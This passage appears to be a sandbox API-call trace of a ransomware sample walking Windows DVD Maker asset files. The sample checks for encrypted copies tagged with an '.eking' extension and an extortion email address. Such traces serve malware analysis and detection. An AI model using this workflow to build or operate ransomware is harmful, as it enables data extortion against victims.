Maker\\Shared\\DvdStyles\\circle_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_glass_thumbnail.bmp")) returned 0x20 [0181.260] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circle_glass_Thumbnail.bmp.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_glass_thumbnail.bmp.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.261] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circle_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_glass_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.261] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureA.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_selectionsubpicturea.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.261] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=3878) returned 1 [0181.261] CloseHandle (hObject=0x1ec) returned 1 [0181.261] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureA.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_selectionsubpicturea.png")) returned 0x20 [0181.261] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureA.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_selectionsubpicturea.png")) returned 0x20 [0181.261] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureA.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_selectionsubpicturea.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.262] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureA.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_selectionsubpicturea.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.262] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureB.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_selectionsubpictureb.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.263] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=3215) returned 1 [0181.263] CloseHandle (hObject=0x1ec) returned 1 [0181.263] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureB.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_selectionsubpictureb.png")) returned 0x20 [0181.263] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureB.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_selectionsubpictureb.png")) returned 0x20 [0181.263] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureB.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_selectionsubpictureb.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.263] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureB.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_selectionsubpictureb.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.264] SetEvent (hEvent=0x174) returned 1 [0181.264] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_videoinset.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.264] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=5059) returned 1 [0181.264] CloseHandle (hObject=0x1ec) returned 1 [0181.264] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_videoinset.png")) returned 0x20 [0181.264] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_videoinset.png")) returned 0x20 [0181.264] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_VideoInset.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_videoinset.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.264] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.265] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\cloud_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\cloud_thumbnail.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.265] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=5072) returned 1 [0181.265] CloseHandle (hObject=0x1ec) returned 1 [0181.265] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\cloud_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\cloud_thumbnail.bmp")) returned 0x20 [0181.265] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\cloud_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\cloud_thumbnail.bmp")) returned 0x20 [0181.265] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\cloud_Thumbnail.bmp.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\cloud_thumbnail.bmp.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.265] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\cloud_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\cloud_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.266] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\dot.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.266] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=23711) returned 1 [0181.266] CloseHandle (hObject=0x1ec) returned 1 [0181.266] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\dot.png")) returned 0x20 [0181.266] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\dot.png")) returned 0x20 [0181.266] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Dot.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\dot.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.266] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.267] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\DvdTransform.fx" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\dvdtransform.fx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.267] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=16940) returned 1 [0181.267] CloseHandle (hObject=0x1ec) returned 1 [0181.267] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\DvdTransform.fx" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\dvdtransform.fx")) returned 0x20 [0181.267] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\DvdTransform.fx" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\dvdtransform.fx")) returned 0x20 [0181.267] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\DvdTransform.fx.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\dvdtransform.fx.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.267] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\DvdTransform.fx" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\dvdtransform.fx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.268] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\1047x576black.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.440] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=4570) returned 1 [0181.440] CloseHandle (hObject=0x1ec) returned 1 [0181.440] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\1047x576black.png")) returned 0x20 [0181.440] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\1047x576black.png")) returned 0x20 [0181.440] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\1047x576black.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\1047x576black.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.440] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.440] SetEvent (hEvent=0x174) returned 1 [0181.441] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.575] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=4955) returned 1 [0181.575] CloseHandle (hObject=0x1ec) returned 1 [0181.575] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_buttongraphic.png")) returned 0x20 [0181.576] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_buttongraphic.png")) returned 0x20 [0181.576] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_buttongraphic.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.576] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.576] SetEvent (hEvent=0x174) returned 1 [0181.576] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.578] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=3081) returned 1 [0181.578] CloseHandle (hObject=0x1ec) returned 1 [0181.578] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_selectionsubpicture.png")) returned 0x20 [0181.578] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_selectionsubpicture.png")) returned 0x20 [0181.579] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_selectionsubpicture.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.579] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.579] SetEvent (hEvent=0x174) returned 1 [0181.579] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\pushplaysubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.579] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=2962) returned 1 [0181.579] CloseHandle (hObject=0x1ec) returned 1 [0181.579] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\pushplaysubpicture.png")) returned 0x20 [0181.580] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\pushplaysubpicture.png")) returned 0x20 [0181.580] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\pushplaysubpicture.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.580] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\pushplaysubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.580] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.581] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=30138) returned 1 [0181.581] CloseHandle (hObject=0x1ec) returned 1 [0181.581] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_buttongraphic.png")) returned 0x20 [0181.581] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_buttongraphic.png")) returned 0x20 [0181.582] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_buttongraphic.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.582] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.582] SetEvent (hEvent=0x174) returned 1 [0181.582] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_glass_thumbnail.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.582] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=5072) returned 1 [0181.582] CloseHandle (hObject=0x1ec) returned 1 [0181.583] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_glass_thumbnail.bmp")) returned 0x20 [0181.583] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_glass_thumbnail.bmp")) returned 0x20 [0181.583] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_glass_thumbnail.bmp.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.583] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_glass_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.583] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.583] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=4728) returned 1 [0181.583] CloseHandle (hObject=0x1ec) returned 1 [0181.584] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_selectionsubpicture.png")) returned 0x20 [0181.584] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_selectionsubpicture.png")) returned 0x20 [0181.584] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_selectionsubpicture.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.584] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.584] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_videoinset.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.584] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=5742) returned 1 [0181.584] CloseHandle (hObject=0x1ec) returned 1 [0181.585] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_videoinset.png")) returned 0x20 [0181.585] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_videoinset.png")) returned 0x20 [0181.585] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_videoinset.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.585] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.585] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\1047x576black.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.588] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=4570) returned 1 [0181.588] CloseHandle (hObject=0x1ec) returned 1 [0181.588] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\1047x576black.png")) returned 0x20 [0181.588] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\1047x576black.png")) returned 0x20 [0181.589] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\1047x576black.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd 